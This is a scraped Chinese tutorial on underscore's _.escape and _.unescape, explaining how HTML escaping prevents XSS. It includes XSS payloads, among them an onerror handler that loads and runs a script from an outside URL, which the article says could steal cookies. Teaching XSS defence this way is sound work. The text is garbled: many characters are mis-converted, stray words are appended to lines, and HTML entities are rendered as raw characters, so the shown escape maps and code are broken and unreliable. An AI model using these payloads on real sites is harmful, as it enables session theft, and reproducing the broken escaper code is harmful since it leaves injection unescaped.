underscore 提供了 _.escape
函数,用于转义 HTML 字符串,替换 &, <, >, ", ', 和 ` 字符为字符实体。html
_.escape('Curly, Larry & Moe');
=> "Curly, Larry & Moe"
复制代码
underscore 一样提供了 _.unescape
函数,功能与 _.escape
相反:git
_.unescape('Curly, Larry & Moe');
=> "Curly, Larry & Moe"
复制代码
但是咱们为何须要转义 HTML 呢?github
举个例子,一个我的中心页的地址为:www.example.com/user.html?name=kevin
,咱们但愿从网址中取出用户的名称,而后将其显示在页面中,使用 JavaScript,咱们能够这样作:正则表达式
/** * 该函数用于取出网址参数 */
function getQueryString(name) {
var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
var r = window.location.search.substr(1).match(reg);
if (r != null) return unescape(r[2]);
return null;
}
var name = getQueryString('name');
document.getElementById("username").innerHTML = name;
复制代码
若是被一个一样懂技术的人发现的话,那么他可能会动点“坏心思”:浏览器
好比我把这个页面的地址修改成:www.example.com/user.html?name=<script>alert(1)</script>
。安全
就至关于:bash
document.getElementById("username").innerHTML = '<script>alert(1)</script>';
复制代码
会有什么效果呢?服务器
结果是什么也没有发生……cookie
这是由于:架构
根据 W3C 规范,script 标签中所指的脚本仅在浏览器第一次加载页面时对其进行解析并执行其中的脚本代码,因此经过 innerHTML 方法动态插入到页面中的 script 标签中的脚本代码在全部浏览器中默认状况下均不能被执行。
千万不要觉得这样就安全了……
你把地址改为 www.example.com/user.html?name=<img src=@ onerror=alert(1)>
的话,就至关于:
document.getElementById("d1").innerHTML="<img src=@ onerror=alert(1)>"
复制代码
此时马上就弹窗了 1。
也许你会想,不就是弹窗个 1 吗?还能怎么样?能写多少代码?
那我把地址改为 www.example.com/user.html?name=<img src=@ onerror='var s=document.createElement("script");s.src="https://mqyqingfeng.github.io/demo/js/alert.js";document.body.appendChild(s);' />
呢?
就至关于:
document.getElementById("username").innerHTML = "<img src=@ onerror='var s=document.createElement(\"script\");s.src=\"https://mqyqingfeng.github.io/demo/js/alert.js\";document.body.appendChild(s);' />";
复制代码
整理下其中 onerror 的代码:
var s = document.createElement("script");
s.src = "https://mqyqingfeng.github.io/demo/js/alert.js";
document.body.appendChild(s);
复制代码
代码中引入了一个第三方的脚本,这样作的事情就多了,从取你的 cookie,发送到黑客本身的服务器,到监听你的输入,到发起 CSRF 攻击,直接以你的身份调用网站的各类接口……
总之,很危险。
为了防止这种状况的发生,咱们能够将网址上的值取到后,进行一个特殊处理,再赋值给 DOM 的 innerHTML。
问题是怎么进行转义呢?而这就要谈到字符实体的概念了。
在 HTML 中,某些字符是预留的。好比说在 HTML 中不能使用小于号(<)和大于号(>),由于浏览器会误认为它们是标签。
若是但愿正确地显示预留字符,咱们必须在 HTML 源代码中使用字符实体(character entities)。
字符实体有两种形式:
&entity_name;
&#entity_number;
。好比说咱们要显示小于号,咱们能够这样写:<
或 <
;
值得一提的是,使用实体名而不是数字的好处是,名称易于记忆。不过坏处是,浏览器也许并不支持全部实体名称(可是对实体数字的支持却很好)。
也许你会好奇,为何 <
的字符实体是 <
呢?这是怎么进行计算的呢?
其实很简单,就是取字符的 unicode 值,以 &#
开头接十进制数字 或者以 &#x
开头接十六进制数字。举个例子:
var num = '<'.charCodeAt(0); // 60
num.toString(10) // '60'
num.toString(16) // '3c'
复制代码
咱们能够以 <
或者 <
在 HTML 中表示出 <
。
不信你能够写这样一段 HTML,显示的效果都是 <
:
<div><</div>
<div><</div>
<div><</div>
复制代码
再举个例子:以字符 '喵' 为例:
var num = '喵'.charCodeAt(0); // 21941
num.toString(10) // '21941'
num.toString(16) // '55b5'
复制代码
在 HTML 中,咱们就能够用 喵
或者 喵
表示喵
,不过“喵”并不具备实体名。
咱们的应对方式就是将取得的值中的特殊字符转为字符实体。
举个例子,当页面地址是 www.example.com/user.html?name=<strong>123</strong>
时,咱们经过 getQueryString 取得 name 的值:
var name = getQueryString('name'); // <strong>123</strong>
复制代码
若是咱们直接:
document.getElementById("username").innerHTML = name;
复制代码
如咱们所知,使用 innerHTML 会解析内容字符串,而且改变元素的 HMTL 内容,最终,从样式上,咱们会看到一个加粗的 123。
若是咱们转义,将 <strong>123</strong>
中的 <
和 >
转为实体字符,即 <strong>123</strong>
,咱们再设置 innerHTML,浏览器就不会将其解释为标签,而是一段字符,最终会直接显示 <strong>123</strong>
,这样就避免了潜在的危险。
那么问题来了,咱们具体要转义哪些字符呢?
想一想咱们之因此要转义 <
和 >
,是由于浏览器会将其认为是一个标签的开始或结束,因此要转义的字符必定是浏览器会特殊对待的字符,那还有什么字符会被特殊对待的呢?(O_o)??
&
是一个,由于浏览器会认为 &
是一个字符实体的开始,若是你输入了 <
,浏览器会将其解释为 <
,可是当 <
是做为用户输入的值时,应该仅仅是显示用户输入的值,而不是将其解释为一个 <
。
'
和 "
也要注意,举个例子:
服务器端渲染的代码为:
function render (input) {
return '<input type="name" value="' + input + '">'
}
复制代码
input 的值若是直接来自于用户的输入,用户能够输入 "> <script>alert(1)</script>
,最终渲染的 HTML 代码就变成了:
<input type="name" value=""> <script>alert(1)</script>">
复制代码
结果又是一次 XSS 攻击……
最后还有一个是反引号 `,在 IE 低版本中(≤ 8),反引号能够用于关闭标签:
<img src="x` `<script>alert(1)</script>"` `>
复制代码
因此咱们最终肯定的要转义的字符为:&, <, >, ", ', 和 `。转义对应的值为:
& --> &
< --> <
> --> >
" --> " ' --> ' ` --> < 复制代码
值得注意的是:单引号和反引号使用是实体数字、而其余使用的是实体名称,这主要是从兼容性的角度考虑的,有的浏览器并不能很好的支持单引号和反引号的实体名称。
那么具体咱们该如何实现转义呢?咱们直接看一个简单的实现:
var _ = {};
var escapeMap = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
'`': '`'
};
_.escape = function(string) {
var escaper = function(match) {
return escapeMap[match];
};
// 使用非捕获性分组
var source = '(?:' + Object.keys(escapeMap).join('|') + ')';
console.log(source) // (?:&|<|>|"|'|`)
var testRegexp = RegExp(source);
var replaceRegexp = RegExp(source, 'g');
string = string == null ? '' : '' + string;
return testRegexp.test(string) ? string.replace(replaceRegexp, escaper) : string;
}
复制代码
实现的思路很简单,构造一个正则表达式,先判断是否能匹配到,若是能匹配到,就执行 replace,根据 escapeMap 将特殊字符进行替换,若是不能匹配,说明不须要转义,直接返回原字符串。
值得一提的是,咱们在代码中打印了构造出的正则表达式为:
(?:&|<|>|"|'|`) 复制代码
其中的 ?:
是个什么意思?没有这个 ?:
就不能够匹配吗?咱们接着往下看。
(?:pattern)
表示非捕获分组,即会匹配 pattern 但不获取匹配结果,不进行存储供之后使用。
咱们来看个例子:
function replacer(match, p1, p2, p3) {
// match,表示匹配的子串 abc12345#$*%
// p1,第 1 个括号匹配的字符串 abc
// p2,第 2 个括号匹配的字符串 12345
// p3,第 3 个括号匹配的字符串 #$*%
return [p1, p2, p3].join(' - ');
}
var newString = 'abc12345#$*%'.replace(/([^\d]*)(\d*)([^\w]*)/, replacer); // abc - 12345 - #$*%
复制代码
如今咱们给第一个括号中的表达式加上 ?:
,表示第一个括号中的内容不须要储存结果:
function replacer(match, p1, p2) {
// match,表示匹配的子串 abc12345#$*%
// p1,如今匹配的是字符串 12345
// p1,如今匹配的是字符串 #$*%
return [p1, p2].join(' - ');
}
var newString = 'abc12345#$*%'.replace(/(?:[^\d]*)(\d*)([^\w]*)/, replacer); // 12345 - #$*%
复制代码
在 _.escape
函数中,即便不使用 ?:
也不会影响匹配结果,只是使用 ?:
性能会更高一点。
咱们使用了 _.escape
将指定字符转为字符实体,咱们还须要一个方法将字符实体转义回来。
写法与 _.unescape
相似:
var _ = {};
var unescapeMap = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
''': "'",
'`': '`'
};
_.unescape = function(string) {
var escaper = function(match) {
return unescapeMap[match];
};
// 使用非捕获性分组
var source = '(?:' + Object.keys(unescapeMap).join('|') + ')';
console.log(source) // (?:&|<|>|"|'|`)
var testRegexp = RegExp(source);
var replaceRegexp = RegExp(source, 'g');
string = string == null ? '' : '' + string;
return testRegexp.test(string) ? string.replace(replaceRegexp, escaper) : string;
}
console.log(_.unescape('Curly, Larry & Moe')) // Curly, Larry & Moe
复制代码
你会不会以为 _.escape
与 _.unescape
的代码实在是太像了,以致于让人感受很冗余呢?
那么咱们又该如何优化呢?
咱们能够先写一个 _.invert
函数,将 escapeMap 传入的时候,能够获得 unescapeMap,而后咱们再根据传入的 map (escapeMap 或者 unescapeMap) 不一样,返回不一样的函数。
实现的方式很简单,直接看代码:
/** * 返回一个object副本,使其键(keys)和值(values)对换。 * _.invert({a: "b"}); * => {b: "a"}; */
_.invert = function(obj) {
var result = {};
var keys = Object.keys(obj);
for (var i = 0, length = keys.length; i < length; i++) {
result[obj[keys[i]]] = keys[i];
}
return result;
};
var escapeMap = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
'`': '`'
};
var unescapeMap = _.invert(escapeMap);
var createEscaper = function(map) {
var escaper = function(match) {
return map[match];
};
// 使用非捕获性分组
var source = '(?:' + _.keys(map).join('|') + ')';
var testRegexp = RegExp(source);
var replaceRegexp = RegExp(source, 'g');
return function(string) {
string = string == null ? '' : '' + string;
return testRegexp.test(string) ? string.replace(replaceRegexp, escaper) : string;
};
};
_.escape = createEscaper(escapeMap);
_.unescape = createEscaper(unescapeMap);
复制代码
underscore 系列目录地址:github.com/mqyqingfeng…。
underscore 系列预计写八篇左右,重点介绍 underscore 中的代码架构、链式调用、内部函数、模板引擎等内容,旨在帮助你们阅读源码,以及写出本身的 undercore。
若是有错误或者不严谨的地方,请务必给予指正,十分感谢。若是喜欢或者有所启发,欢迎 star,对做者也是一种鼓励。